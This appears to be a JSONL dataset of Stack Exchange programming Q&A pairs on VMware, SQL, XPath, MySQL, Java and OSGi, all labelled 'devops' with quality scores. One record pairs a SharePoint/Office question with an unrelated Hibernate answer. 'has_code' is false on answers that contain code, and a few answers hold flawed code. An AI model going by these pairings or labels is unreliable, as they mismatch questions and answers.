{"id": "hf_76bb3beea9bb", "question": "<p>I have a VmWare virtual machine that is coming dangerously close to it's primarry HDD's limit and I need to extend it. How do I do this? I'm working with VmWare Workstation 6.0.5</p>\n", "question_body": "", "answer": "This link\ngives two approaches that should help.\nIt looks like this is the most straightforward method:\n```\n```\nvmware-vdiskmanager -x 12GB path\\to\\disk.vmdk\n```\n```\nwhere 12GB is the desired size of the expanded volume.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:28.241936"}
{"id": "hf_0db8e6f5dd92", "question": "<p>We are attempting to use a SQL Server 2003 database for our test records and want a quick way to take NUnit and NAnt output and produce SQL schema and data. Is there a simple way to generate SQL Schema using the XSD file describing these XML documents?</p>\n", "question_body": "", "answer": "You could use XSD.  No, I'm serious.  Go to a command prompt and type xsd and press Enter.\nHere's what you will see (truncated):\n```\n```\nI:\\>xsd\nMicrosoft (R) Xml Schemas/DataTypes support utility\n[Microsoft (R) .NET Framework, Version 1.0.3705.0]\nCopyright (C) Microsoft Corporation 1998-2001. All rights reserved.\n\nxsd.exe -\n    Utility to generate schema or class files from given source.\n\nxsd.exe <schema>.xsd /classes|dataset [/e:] [/l:] [/n:] [/o:] [/uri:]\nxsd.exe <assembly>.dll|.exe [/outputdir:] [/type: [...]]\nxsd.exe <instance>.xml [/outputdir:]\nxsd.exe <schema>.xdr [/outputdir:]\n```\n```\nJust follow the instructions.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:28.303392"}
{"id": "hf_ff21ef9be78c", "question": "<p>The original query looks like this (MySQL):</p>\n\n<pre><code>SELECT * \nFROM books \nWHERE title LIKE \"%text%\" OR description LIKE \"%text%\" \nORDER BY date\n</code></pre>\n\n<p>Would it be possible to rewrite it (without unions or procedures), so that result will look like this:</p>\n\n<ul>\n<li>list of books where title matches query ordered by date, followed by:</li>\n<li>list of books where description matches query ordered by date</li>\n</ul>\n\n<p>So basically just give a higher priority to matching titles over descriptions.</p>\n", "question_body": "", "answer": "The union command will help you. Something along these lines:\n```\n```\nSELECT *, 1 as order from books where title like '%text%'\nunion\nSELECT *, 2 as order from books where description like '%text%'\nORDER BY order, date\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:28.328746"}
{"id": "hf_c52de0ca7080", "question": "<p>Is there a <code>SQL</code> or <code>PHP</code> script that I can run that will change the default collation in all tables and fields in a database?</p>\n\n<p>I can write one myself, but I think that this should be something that readily available at a site like this. If I can come up with one myself before somebody posts one, I will post it myself.</p>\n", "question_body": "", "answer": "Be careful! If you actually have utf stored as another encoding, you could have a real mess on your hands. Back up first. Then try some of the standard methods:\nfor instance\nhttp://www.cesspit.net/drupal/node/898\nhttp://www.hackszine.com/blog/archive/2007/05/mysql_database_migration_latin.html\nI've had to resort to converting all text fields to binary, then back to varchar/text. This has saved my ass.\nI had data is UTF8, stored as latin1. What I did:\nDrop indexes.\nConvert fields to binary.\nConvert to utf8-general ci\nIf your on LAMP, don’t forget to add set NAMES command before interacting with the db, and make sure you set character encoding headers.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:28.365716"}
{"id": "hf_afba1ecb3abd", "question": "<p>Is it possible to use XPath to select only the nodes that have a particular child elements?  For example, from this XML I only want the elements in pets that have a child of 'bar'.  So the resulting dataset would contain the <code>lizard</code> and <code>pig</code> elements from this example:</p>\n\n<pre><code>&lt;pets&gt;\n  &lt;cat&gt;\n    &lt;foo&gt;don't care about this&lt;/foo&gt;\n  &lt;/cat&gt;\n  &lt;dog&gt;\n   &lt;foo&gt;not this one either&lt;/foo&gt;\n  &lt;/dog&gt;\n  &lt;lizard&gt;\n   &lt;bar&gt;lizard should be returned, because it has a child of bar&lt;/bar&gt;\n  &lt;/lizard&gt;\n  &lt;pig&gt;\n   &lt;bar&gt;return pig, too&lt;/bar&gt;\n  &lt;/pig&gt;\n&lt;/pets&gt;\n</code></pre>\n\n<p>This Xpath gives me all pets: <code>\"/pets/*\"</code>, but I only want the pets that have a child node of name <code>'bar'</code>.</p>\n", "question_body": "", "answer": "Here it is, in all its glory\n```\n```\n/pets/*[bar]\n```\n```\nEnglish: Give me all children of\n```\npets\n```\nthat have a child\n```\nbar\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:28.450218"}
{"id": "hf_0fac9631accb", "question": "<p><strong>Update</strong>: Looks like the query does not throw any timeout. The connection is timing out.</p>\n\n<p>This is a sample code for executing a query. Sometimes, while executing time consuming queries, it throws a timeout exception.</p>\n\n<p>I <strong>cannot</strong> use any of these techniques:\n1) Increase timeout.\n2) Run it asynchronously with a callback. This needs to run in a synchronous manner.</p>\n\n<p>please suggest any other techinques to keep the connection alive while executing a time consuming query?</p>\n\n<pre><code>private static void CreateCommand(string queryString,\n    string connectionString)\n{\n    using (SqlConnection connection = new SqlConnection(\n               connectionString))\n    {\n        SqlCommand command = new SqlCommand(queryString, connection);\n        command.Connection.Open();\n        command.ExecuteNonQuery();\n    }\n}\n</code></pre>\n", "question_body": "", "answer": "```\n```\ncommand.CommandTimeout *= 2;\n```\n```\nThat will double the default time-out, which is 30 seconds.\nOr, put the value for CommandTimeout in a configuration file, so you can adjust it as needed without recompiling.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:28.475074"}
{"id": "hf_317305288da0", "question": "<p>How can I print wstring in gdb?</p>\n", "question_body": "", "answer": "Suppose you've got a\n```\nstd::wstring str\n```\n. The following should work in gdb:\n```\n```\ncall printf(\"%ls\", str._M_data())\n```\n```\n(The -l option in printf makes it a long string, and I believe you need the \"\n```\ncall\n```\n\" statement because the ordinary gdb printf doesn't like that option.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:28.511698"}
{"id": "hf_3990742a6742", "question": "<p>Does any one have a preference on how to check if a value is <code>DBNull</code>?  I've found these two statements give me the results I want, but just wondering if there's a preference?</p>\n\n<p><code>if (any is System.DBNull)</code></p>\n\n<p>same as:</p>\n\n<p><code>if (any == System.DBNull.Value)</code></p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "```\n```\nif (any == System.DBNull.Value) ...\n```\n```\nI prefer that one, simply because I read that as comparing values, not types.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:28.560071"}
{"id": "hf_cfd7d03ad811", "question": "<p>I have an application with a REST style interface that takes XML documents via POST from clients. This application is written in Java and uses XML beans to process the posted message. </p>\n\n<p>The XML schema definition for a field in the message looks like this:</p>\n\n<pre><code>&lt;xs:element name=\"value\" type=\"xs:string\" nillable=\"true\" /&gt;\n</code></pre>\n\n<p>How do I send a null value that meets this spec?</p>\n\n<p>I sent <code>&lt;value xsi:nil=\"true\" /&gt;</code>\nbut this caused the XML parser to barf.</p>\n", "question_body": "", "answer": "What about\n```\n<value xsi:nil=\"true\"></value>\n```\n? That's what's\nin the spec\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:28.620549"}
{"id": "hf_6ebc3d928e2e", "question": "<p>Ideally I'd like a way to enable the mouse wheel for scrolling in old compiled java runtime apps, but java code to explicitly utilise it for an individual app would suffice. </p>\n", "question_body": "", "answer": "Mousewheel scrolling is supported in current Swing applications. You could try compiling your application using JDK 1.4, 1.5 or 1.6. Depending on the complexity and environment moving to a new version may or may not be a viable option.\nThis tutorial\nshows how to write your own mousewheel listener if you want something different to the normal behaviour.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:28.645848"}
{"id": "hf_28007f476f10", "question": "<p>I'm about to put a beta version of the site I'm working on up on the web. It needs to have a beta code to restrict access. The site is written in django.</p>\n\n<p>I don't want to change the fundamental Auth system to accommodate a beta code, and I don't care particularly that the security of the beta code is iron-clad, just that it's a significant stumbling block.</p>\n\n<p>How should I do this? It's a fairly large project, so adding code to every view is far from ideal.</p>\n\n<hr>\n\n<p>That solution works well. The Middleware Class I ended up with this this:</p>\n\n<pre><code>from django.http import HttpResponseRedirect\n\nclass BetaMiddleware(object):\n    \"\"\"\n    Require beta code session key in order to view any page.\n    \"\"\"\n    def process_request(self, request):\n        if request.path != '/beta/' and not request.session.get('in_beta'):\n            return HttpResponseRedirect('%s?next=%s' % ('/beta/', request.path))\n</code></pre>\n", "question_body": "", "answer": "You should be able to add\n```\n@login_required\n```\ndecorators across the board and be done with it.  Unless you have a boat-load of view functions, it shouldn't be too horrible.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:28.670109"}
{"id": "hf_60d26a9f9b06", "question": "<p>I'm trying to get a sampling of what people think are the best sign-up forms.  Good design, usability.  Smart engineering.  Helpful feedback.</p>\n", "question_body": "", "answer": "One of my all-time fave sign-up forms was the original\nVox\none, which has since been changed; there was\na great break-down\nof it published online, and it goes into the things that made it so great to me.  How they implemented the CSS layout of their forms, how they used in-form validation with pop-up tips, etc. -- it was nice.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:28.694042"}
{"id": "hf_7c865845dbcc", "question": "<p>How do I use the softkeys with a CDialog based application in windows mobile 6 via MFC?</p>\n\n<p>I have a CDialog based Windows Mobile 6 (touchscreen) Professional app that I am workign on.</p>\n\n<p>The default behavior of a CDialog based app in WM6 Professional is to not use any softkeys by default... I want to map the softkeys to \"Cancel\" and \"OK\" functionality that sends IDOK and IDCANCEL to my Main Dialog class.</p>\n\n<p>I have been trying to work with CCommandBar with no luck, and SHCreateMenuBar was not working out for me either. </p>\n\n<p>Does anyone have a sample of how to get this to work?</p>\n", "question_body": "", "answer": "What's \"not working\" with the CCommandBar for you?  You should be able to add a CCommandBar member to your dialog class, then in teh DIalog's InitDialog you call Create and InsertMenuBar on the command bar - something like this:\n```\n```\nm_cmdBar.Create(this);\nm_cmdBar.InsertMenuBar(IDR_MENU_RESRC_ID);\n```\n```\nYour menu resource might look something like this:\n```\n```\nIDR_MENU_RESRC_ID MENU DISCARDABLE\nBEGIN\nMENUITEM \"OK\", IDOK\nMENUITEM \"Cancel\", IDCANCEL\nEND\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:28.755023"}
{"id": "hf_fa06152fadab", "question": "<p>We are currently using Apache 2.2.3 and Tomcat 5 (Embedded in JBoss 4.2.2) using <code>mod_proxy_jk</code> as the connector.</p>\n\n<p>Can someone shed some light on the the correct way to calculate / configure the values below (as well as anything else that may be relevant).  Both Apache and Tomcat are running on separate machines and have copious amounts of ram (4gb each).</p>\n\n<p>Relevant server.xml portions:</p>\n\n<pre><code>&lt;Connector port=\"8009\"\n    address=\"${jboss.bind.address}\"\n    protocol=\"AJP/1.3\"\n    emptySessionPath=\"true\"\n    enableLookups=\"false\"\n    redirectPort=\"8443\"\n    maxThreads=\"320\"\n    connectionTimeout=\"45000\"\n/&gt;\n</code></pre>\n\n<p>Relevant httpd.conf portions: </p>\n\n<pre><code>&lt;IfModule prefork.c&gt;\n  StartServers       8\n  MinSpareServers    5\n  MaxSpareServers   20\n  ServerLimit      256\n  MaxClients       256\n  MaxRequestsPerChild  0\n&lt;/IfModule&gt;\n</code></pre>\n", "question_body": "", "answer": "MaxClients\nThis is the fundamental cap of parallel client connections your apache should handle at once.\nWith prefork, only one request can be handled per process. Therefore the whole apache can process\nat most\n$MaxClients requests in the time it takes to handle a\nsingle\nrequest. Of course, this ideal maximum can only be reached if the application needs less than 1/$MaxClients resources per request.\nIf, for example, the application takes a second of cpu-time to answer a single request, setting MaxClients to four will limit your throughput to four requests per second: Each request uses up an apache connection and apache will only handle four at a time. But if the server has only two CPUs, not even this can be reached, because every wall-clock second only has two cpu seconds, but the requests would need four cpu seconds.\nMinSpareServers\nThis tells apache how many idle processes should hang around. The bigger this number the more burst load apache can swallow before needing to spawn extra processes, which is expensive and thus slows down the current request.\nThe correct setting of this depends on your workload. If you have pages with many sub-requests (pictures, iframes, javascript, css) then hitting a single page might use up many more processes for a short time.\nMaxSpareServers\nHaving too many unused apache processes hanging around just wastes memory, thus apache uses the MaxSpareServers number to limit the amount of spare processes it is holding in reserve for bursts of requests.\nMaxRequestsPerChild\nThis limits the number of requests a single process will handle throughout its lifetime. If you are very concerned about stability, you should put an actual limit here to continually recycle the apache processes to prevent resource leaks from affecting the system.\nStartServers\nThis is just the amount of processes apache starts by default. Set this to the usual amount of running apache processes to reduce warm-up time of your system. Even if you ignore this setting, apache will use the Min-/MaxSpareServers values to spawn new processes as required.\nMore information\nSee also\nthe documentation for apache's multi-processing modules\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:28.783067"}
{"id": "hf_7bbabf43233f", "question": "<p>I was given a MySQL database file that I need to restore as a database on my Windows Server 2008 machine.</p>\n\n<p>I tried using MySQL Administrator, but I got the following error:</p>\n\n<blockquote>\n  <p>The selected file was generated by\n  mysqldump and cannot be restored by\n  this application.</p>\n</blockquote>\n\n<p>How do I get this working?</p>\n", "question_body": "", "answer": "It should be as simple as running this:\n```\n```\nmysql -u <user> -p < db_backup.dump\n```\n```\nIf the dump is of a single database you may have to add a line at the top of the file:\n```\n```\nUSE <database-name-here>;\n```\n```\nIf it was a dump of many databases, the use statements are already in there.\nTo run these commands, open up a command prompt (in Windows) and\n```\ncd\n```\nto the directory where the\n```\nmysql.exe\n```\nexecutable is (you may have to look around a bit for it, it'll depend on how you installed mysql, i.e. standalone or as part of a package like WAMP).  Once you're in that directory, you should be able to just type the command as I have it above.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:28.896941"}
{"id": "hf_3380c8e19524", "question": "<p>Part of our app parses RTF documents and we've come across a special character that is not translating well.  When viewed in Word the character is an elipsis (...), and it's encoded in the RTF as ('85).</p>\n\n<p>In our vb code we converted the hex (85) to int(133) and then did Chr(133) to return (...)</p>\n\n<p>Here's the code in C# - problem is this doesn't work for values above 127.  Any ideas?</p>\n\n<p>Calling code :</p>\n\n<pre><code>// S is Hex number!!!\nreturn Convert.ToChar(HexStringToInt(s)).ToString();\n</code></pre>\n\n<p>Helper method:</p>\n\n<pre><code>private static int HexStringToInt(string hexString)\n{\n    int i;\n\n    try\n    {\n        i = Int32.Parse(hexString, NumberStyles.HexNumber);\n    }\n    catch (Exception ex)\n    {\n        throw new ApplicationException(\"Error trying to convert hex value: \" + hexString, ex);\n    }\n\n    return i;\n}\n</code></pre>\n", "question_body": "", "answer": "```\n```\nprivate static int HexStringToInt(string hexString)\n{\n    try\n    {\n        return Convert.ToChar(hexString);\n    }\n    catch (FormatException ex)\n    {\n        throw new ArgumentException(\"Is not a valid hex character.\", \"hexString\", ex);\n    }\n    // Convert.ToChar() will throw an ArgumentException also\n    // if hexString is bad\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:28.962882"}
{"id": "hf_0b735277c142", "question": "<p>I saw this quote on the question: <a href=\"https://stackoverflow.com/questions/105710\">What is a good functional language on which to build a web service?</a></p>\n\n<blockquote>\n  <p>Scala in particular doesn't support tail-call elimination except in self-recursive functions, which limits the kinds of composition you can do (this is a fundamental limitation of the JVM).</p>\n</blockquote>\n\n<p>Is this true?  If so, what is it about the JVM that creates this fundamental limitation?</p>\n", "question_body": "", "answer": "This post:\nRecursion or Iteration?\nmight help.\nIn short, tail call optimization is hard to do in the JVM because of the security model and the need to always have a stack trace available. These requirements could in theory be supported, but it would probably require a new bytecode (see\nJohn Rose's informal proposal\n).\nThere is also more discussion in\nSun bug #4726340\n, where the evaluation (from 2002) ends:\nI believe this could be done nonetheless, but it is not a small task.\nCurrently, there is some work going on in the\nDa Vinci Machine\nproject. The tail call subproject's status is listed as \"proto 80%\"; it is unlikely to make it into Java 7, but I think it has a very good chance at Java 8.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:29.010102"}
{"id": "hf_30943c2b9961", "question": "<p>What are <strong>real-world</strong> problems where a recursive approach is the natural solution besides depth-first search (DFS)? </p>\n\n<p>(I don't consider <a href=\"http://en.wikipedia.org/wiki/Tower_of_Hanoi\" rel=\"noreferrer\">Tower of Hanoi</a>, <a href=\"http://en.wikipedia.org/wiki/Fibonacci_number\" rel=\"noreferrer\">Fibonacci number</a>, or factorial real-world problems. They are a bit contrived in my mind.)</p>\n", "question_body": "", "answer": "How about anything involving a directory structure in the file system.  Recursively finding files, deleting files, creating directories, etc.\nHere is a Java implementation that recursively prints out the content of a directory and its sub-directories.\n```\n```\nimport java.io.File;\n\npublic class DirectoryContentAnalyserOne implements DirectoryContentAnalyser {\n\n    private static StringBuilder indentation = new StringBuilder();\n\n    public static void main (String args [] ){\n        // Here you pass the path to the directory to be scanned\n        getDirectoryContent(\"C:\\\\DirOne\\\\DirTwo\\\\AndSoOn\");\n    }\n\n    private static void getDirectoryContent(String filePath) {\n\n        File currentDirOrFile = new File(filePath);\n\n        if ( !currentDirOrFile.exists() ){\n            return;\n        }\n        else if ( currentDirOrFile.isFile() ){\n            System.out.println(indentation + currentDirOrFile.getName());\n            return;\n        }\n        else{\n            System.out.println(\"\\n\" + indentation + \"|_\" +currentDirOrFile.getName());\n            indentation.append(\"   \");\n\n            for ( String currentFileOrDirName : currentDirOrFile.list()){\n                getPrivateDirectoryContent(currentDirOrFile + \"\\\\\" + currentFileOrDirName);\n            }\n\n            if (indentation.length() - 3 > 3 ){\n                indentation.delete(indentation.length() - 3, indentation.length());\n            }\n        }       \n    }\n\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:29.035075"}
{"id": "hf_137bd739432e", "question": "<p>It seems like a standard requirement: next time the user launches the application, open the window in the same position and state as it was before. Here's my wish list:</p>\n\n<ul>\n<li>Window position same as it was\n\n<ul>\n<li>Unless the screen has resized and the old position is now off screen.</li>\n</ul></li>\n<li>Splitters should retain their position</li>\n<li>Tab containers should retain their selection</li>\n<li>Some dropdowns should retain their selection</li>\n<li>Window state (maximize, minimize, normal) is the same as it was.\n\n<ul>\n<li>Maybe you should never start minimized, I haven't decided.</li>\n</ul></li>\n</ul>\n\n<p>I'll add my current solutions as an answer along with the limitations.</p>\n", "question_body": "", "answer": "The simplest solution I've found is to use data binding with the application settings. I bind the location and clientSize properties on the window along with the splitterDistance on the splitter.\nDrawbacks:\nIf you close the window while minimized, it opens hidden the next time. It's really hard to get the window back.\nIf you close the window while maximized, it opens filling the whole screen, but not maximized (minor issue).\nResizing the window using the top-right corner or the bottom-left corner is just ugly. I guess the two databound properties are fighting each other.\nIf you'd like to experiment with the strange behaviour, I posted a\nsample solution\nusing this technique.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:29.100518"}
{"id": "hf_dde345d250fa", "question": "<p>This request is based in MS Access VBA. I would like to know what the most efficient way is, to see if an item exists in a listbox control.</p>\n", "question_body": "", "answer": "Unfortunately there is no more efficient way than a linear search, unless you know that your listbox is sorted or indexed in some particular fashion.\n```\n```\nFor i = 1 To TheComboBoxControl.ListCount\n  if TheComboBoxControl.ItemData(i) = \"Item to search for\" Then do_something()\nNext i\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:29.128196"}
{"id": "hf_67371f2c1c37", "question": "<p>I can't seem to figure out how to set the default database in Sql Server from code. This can be either .Net code or T-Sql (T-Sql would be nice since it would be easy to use in any language). I searched Google and could only find how to do it in Sql Server Management Studio.</p>\n", "question_body": "", "answer": "from:\nhttp://doc.ddart.net/mssql/sql70/sp_da-di_6.htm\n```\n```\nsp_defaultdb [@loginame =] 'login' , [@defdb =] 'database'\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:29.164520"}
{"id": "hf_69c540194a16", "question": "<p>According to what I have found so far, I can use the following code:</p>\n\n<pre>\n    LocalSessionFactoryBean sessionFactory = (LocalSessionFactoryBean)super.getApplicationContext().getBean(\"&sessionFactory\");\n    System.out.println(sessionFactory.getConfiguration().buildSettings().getJdbcBatchSize());\n</pre>\n\n<p>but then I get a Hibernate Exception:</p>\n\n<blockquote>\n  <p>org.hibernate.HibernateException: No local DataSource found for\n  configuration - dataSource property must be set on\n  LocalSessionFactoryBean</p>\n</blockquote>\n\n<p>Can somebody shed some light?</p>\n", "question_body": "", "answer": "Try the following (I can't test it since I don't use Spring):\n```\n```\nSystem.out.println(sessionFactory.getConfiguration().getProperty(\"hibernate.jdbc.batch_size\"))\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:29.238461"}
{"id": "hf_6f38017713e0", "question": "<p>I have been tasked with coming up with a compatibility guide for SharePoint 2007 comparing Office 2003 and Office 2007. Does anyone know where to find such a list?</p>\n\n<p>I have been searching for awhile but I cannot seem to find a comprehensive list.</p>\n\n<p>Thanks :)</p>\n", "question_body": "", "answer": "Try the following (I can't test it since I don't use Spring):\n```\n```\nSystem.out.println(sessionFactory.getConfiguration().getProperty(\"hibernate.jdbc.batch_size\"))\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:29.262231"}
{"id": "hf_ed88d2ac690b", "question": "<p>In java, which regular expression can be used to replace these,\nfor example:</p>\n\n<p>before:\naaabbb\nafter:\nab</p>\n\n<p>before:\n14442345 \nafter:\n142345</p>\n\n<p>thanks!</p>\n", "question_body": "", "answer": "In perl\n```\n```\ns/(.)\\1+/$1/g;\n```\n```\nDoes the trick, I assume if java has perl compatible regexps it should work too.\nEdit: Here is what it means\n```\n```\ns {\n    (.)  # match any charater ( and capture it )\n    \\1   # if it is followed by itself \n    +    # One or more times\n}{$1}gx;  # And replace the whole things by the first captured character (with g modifier to replace all occurences)\n```\n```\nEdit: As others have pointed out, the syntax in Java would become\n```\n```\noriginal.replaceAll(\"(.)\\\\1+\", \"$1\");\n```\n```\nremember to escape the \\1", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:29.363027"}
{"id": "hf_34e214baa0a8", "question": "<p>In the spirit of being helpful, this is a problem I had and solved, so I will answer the question here. </p>\n\n<p><strong>Problem</strong></p>\n\n<p>I have:</p>\n\n<p>An application that has to be installed on on Redhat or SuSE enterprise. </p>\n\n<p>It has huge system requirements and requires OpenGL.</p>\n\n<p>It is part of a suite of tools that need to operate together on one machine.</p>\n\n<p>This application is used for a time intensive task in terms of man hours.</p>\n\n<p>I don't want to sit in the server room working on this application.</p>\n\n<p>So, the question came up... how do I run this application from a remote windows machine?</p>\n\n<p>I'll outline my solution. Feel free to comment on alternatives. This solution should work for simpler environments as well. My case is somewhat extreme.</p>\n", "question_body": "", "answer": "Solution\nI installed two pieces of software:\nPuTTY\nXMing-mesa\nThe mesa part is important.\nPuTTY configuration\n```\n```\nConnection->Seconds Between Keepalives: 30\nConnection->Enable TCP Keepalives: Yes\n\nConnection->SSH->X11->Enable X11 forwarding: Yes\nConnection->SSH->X11->X display location: localhost:0:0\n```\n```\nLauching\nRun\nXming\nwhich will put simply start a process and put an icon in your system tray.\nLaunch putty, pointing to your linux box, with the above configuration.\nRun program\nHopefully,\nSuccess!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:29.487636"}
{"id": "hf_47f64766a213", "question": "<p>I've read on Wikipedia and other sites about <a href=\"https://en.wikipedia.org/wiki/OSGi\" rel=\"noreferrer\">OSGi</a>, but I don't really see the big picture. It says that it's a component-based platform, and that you can reload modules at runtime. Also the \"practical example\" given everywhere is the Eclipse Plugin Framework.</p>\n\n<p>My questions are:</p>\n\n<ol>\n<li><p>What is the clear and simple definition of OSGi?</p></li>\n<li><p>What common problems does it solve?</p></li>\n</ol>\n\n<p>By \"common problems\" I mean problems we face everyday, like \"What can OSGi do for making our jobs more efficient/fun/simple?\"</p>\n", "question_body": "", "answer": "edited for clarity. OSGi page gave a better simple answer than mine\nA simple answer: An OSGi Service Platform provides a standardized, component-oriented computing environment for cooperating networked services. This architecture significantly reduces the overall complexity of building, maintaining and deploying applications.\nThe OSGi Service Platform provides the functions to change the composition dynamically on the device of a variety of networks, without requiring a restarts.\nIn a single application structure, say the Eclipse IDE, it's not a big deal to restart when you install a new plugin. Using the OSGi implementation completely, you should be able to add plugins at runtime, get the new functionality, but not have to restart eclipse at all.\nAgain, not a big deal for every day, small application use.\nBut, when you start to look at multi-computer, distributed application frameworks, that's where it starts to get interesting. When you have to have 100% uptime for critical systems, the capability to hotswap components or add new functionality at runtime is useful. Granted, there are capabilities for doing this now for the most part, but OSGi is trying to bundle everything into a nice little framework with common interfaces.\nDoes OSGi solve common problems, I'm not sure about that. I mean, it can, but the overhead may not be worth it for simpler problems. But it's something to consider when you are starting to deal with larger, networked, applications.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:29.524211"}
